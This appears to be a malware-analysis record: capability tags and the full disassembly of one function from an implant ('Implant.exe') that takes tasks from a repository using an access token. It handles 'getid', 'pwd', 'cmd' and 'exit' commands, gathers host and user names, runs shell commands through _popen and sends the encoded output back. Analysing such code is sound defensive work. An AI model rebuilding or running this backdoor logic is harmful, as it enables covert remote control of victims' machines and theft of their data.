Function at 0x140001bc0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session user name

Disassembly:
push rbp
push rsi
push r12
push r13
push r15
lea rbp, [rsp - 0xff0]
mov eax, 0x10f0
call fcn.1400030a0
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xfe0], rax
mov rsi, qword [rdx + 0x18]
mov r12, qword [rdx + 8]
mov r13, qword [rdx + 0x10]
mov qword [rsp + 0x38], rsi
cmp ecx, 4
jge 0x140001c1d
lea rcx, str.usage_:_Implant.exe__AccessToken___Username___Repository__nThe_Repository_is_better_to_be_private.
call fcn.140001010
mov rax, 0xffffffffffffffff
jmp 0x1400021a3
mov qword [rsp + 0x1120], rbx
mov ecx, 0x7a120
mov ebx, 1
mov qword [rsp + 0x1130], rdi
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x1138], r14
mov dword [rsp + 0x60], 0x75746567
mov word [rsp + 0x64], 0x6469
mov byte [rsp + 0x66], 0
mov dword [rsp + 0x40], 0x647770
mov dword [rsp + 0x44], 0x646d63
mov dword [rsp + 0x50], 0x74697865
mov byte [rsp + 0x54], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, 0x7a120
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r15, [rbx - 2]
mov r8d, ebx
lea rdx, [0x1400045f4]
lea rcx, [rsp + 0x68]
xor r14d, r14d
lea rdi, [0x140006640]
call fcn.140001070
lea r9, [rsp + 0x68]
mov r8, rsi
mov rdx, r13
mov rcx, r12
call fcn.1400014e0
lea rdx, str._title_:__
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rbx, rax
test rax, rax
je 0x140001d1f
add rbx, 0xa
lea rdx, [0x140004354]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rdi, rax
test rax, rax
je 0x140001d18
sub rdi, rbx
mov rcx, rdi
add rcx, 1
cmovb rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rdi
mov rdx, rbx
mov rcx, rax
mov r14, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
lea rdi, [0x140006640]
mov rdx, r14
lea rcx, str.titleTsk_:__s_n
call fcn.140001010
test r14, r14
je 0x14000208a
mov r8d, 3
lea rcx, [rsp + 0x40]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001e02
mov rdx, rdi
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x140001d97
mov r8, r15
nop dword [rax + rax]
inc r8
cmp word [rdi + r8*2], 0
jne 0x140001d70
inc r8
lea rcx, [rbp + 0x800]
mov rdx, rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rbx, [rbp + 0x800]
jmp 0x140001dc1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.Failed_in_GetCurrentDirectory
lea rdx, str._s___u_
lea rcx, [rbp + 0xbf0]
call fcn.140001070
lea rbx, [rbp + 0xbf0]
mov rdx, rbx
lea rcx, str.result_:__s_n
call fcn.140001010
mov rcx, rbx
call fcn.1400018b0
mov rdx, rax
lea rcx, str.resultEncoded_:__s_n_n
mov rbx, rax
call fcn.140001010
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rdx, r13
mov rcx, r12
call fcn.1400010d0
mov r8d, 6
lea rcx, [rsp + 0x60]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001f67
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140001e56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_GetComputerNameA___u__n
call fcn.140001010
xor edx, edx
lea rcx, [rbp + 0x410]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x4c]
lea rcx, [rbp + 0x410]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x140001e94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_GetUserNameA___u__n
call fcn.140001010
lea rdx, [0x14000440c]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x20]
call fcn.1400018b0
mov rbx, rax
test rax, rax
jne 0x140001ecb
xor ecx, ecx
jmp 0x140001f01
mov rax, r15
nop
inc rax
cmp byte [rbx + rax], 0
jne 0x140001ed0
mov rcx, rax
shr rcx, 2
lea rcx, [rcx + rcx*2]
test rax, rax
je 0x140001f01
nop dword [rax]
dec rax
cmp byte [rax + rbx], 0x3d
jne 0x140001f01
dec rcx
test rax, rax
jne 0x140001ef0
lea rdi, [rcx + 1]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rdi
mov rcx, rbx
mov rdx, rax
mov rsi, rax
call fcn.140001a40
test eax, eax
je 0x140002140
mov rdx, rsi
mov byte [rsi + rdi - 1], 0
lea rcx, str.result_:__s_n
call fcn.140001010
mov rdx, rbx
lea rcx, str.resultEncoded_:__s_n_n
call fcn.140001010
mov rsi, qword [rsp + 0x38]
lea r9, [rsp + 0x68]
mov r8, rsi
mov qword [rsp + 0x20], rbx
mov rdx, r13
mov rcx, r12
call fcn.1400010d0
mov r8d, 3
lea rcx, [rsp + 0x44]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x14000206e
mov rax, qword [r14 + 4]
lea rcx, str.___Sh3ll_:__n
mov qword [rbp - 0x68], rax
call fcn.140001010
mov ecx, 0xf4240
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r8, [0x1400044ee]
mov edx, 0xf4240
mov rcx, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rdx, [0x140004548]
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x140001fdc
lea rbx, str.null
jmp 0x14000203c
mov r8, rdi
lea rcx, [rbp - 0x60]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000201c
lea r8, [rbp - 0x60]
mov edx, 0x186a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov r8, rdi
lea rcx, [rbp - 0x60]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001ff3
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
test eax, eax
jne 0x14000203c
lea rcx, str.Error:_Failed_to_read_the_pipe_to_the_end._n
call fcn.140001010
lea rbx, str.Error
mov rcx, rbx
call fcn.1400018b0
mov rdx, rax
lea rcx, str.resultEncoded_:__s_n_n
mov rbx, rax
call fcn.140001010
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rdx, r13
mov rcx, r12
call fcn.1400010d0
mov r8d, 4
lea rcx, [rsp + 0x50]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140002153
xor eax, eax
mov dword [rsp + 0x78], 0x65006b
mov word [rbp - 0x70], ax
mov dword [rsp + 0x7c], 0x6e0072
mov dword [rbp - 0x80], 0x6c0065
mov dword [rbp - 0x7c], 0x320033
mov dword [rbp - 0x78], 0x64002e
mov dword [rbp - 0x74], 0x6c006c
mov dword [rsp + 0x58], 0x65656c53
mov word [rsp + 0x5c], 0x70
mov rax, qword gs:[0x60]
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000210b
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbx + 0x50]
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000213a
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1400020f0
xor eax, eax
mov ecx, eax
lea rdx, [rsp + 0x58]
call fcn.1400021d0
xor edx, edx
mov ecx, 0xbb8
call rax
mov ebx, dword [rsp + 0x30]
test r14, r14
lea eax, [rbx + 1]
cmove eax, ebx
mov ebx, eax
mov dword [rsp + 0x30], eax
jmp 0x140001c89
mov rcx, qword [rbx + 0x20]
jmp 0x14000210f
lea rcx, str.Decode_Failure_n
call fcn.140001010
mov eax, 1
jmp 0x14000218b
lea rcx, str.Exited___
call fcn.1400018b0
mov rdx, rax
lea rcx, str.resultEncoded_:__s_n_n
mov rbx, rax
call fcn.140001010
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbx
mov r8, rsi
mov rdx, r13
mov rcx, r12
call fcn.1400010d0
xor eax, eax
mov rdi, qword [rsp + 0x1130]
mov rbx, qword [rsp + 0x1120]
mov r14, qword [rsp + 0x1138]
mov rcx, qword [rbp + 0xfe0]
xor rcx, rsp
call fcn.1400023b0
add rsp, 0x10f0
pop r15
pop r13
pop r12
pop rsi
pop rbp
ret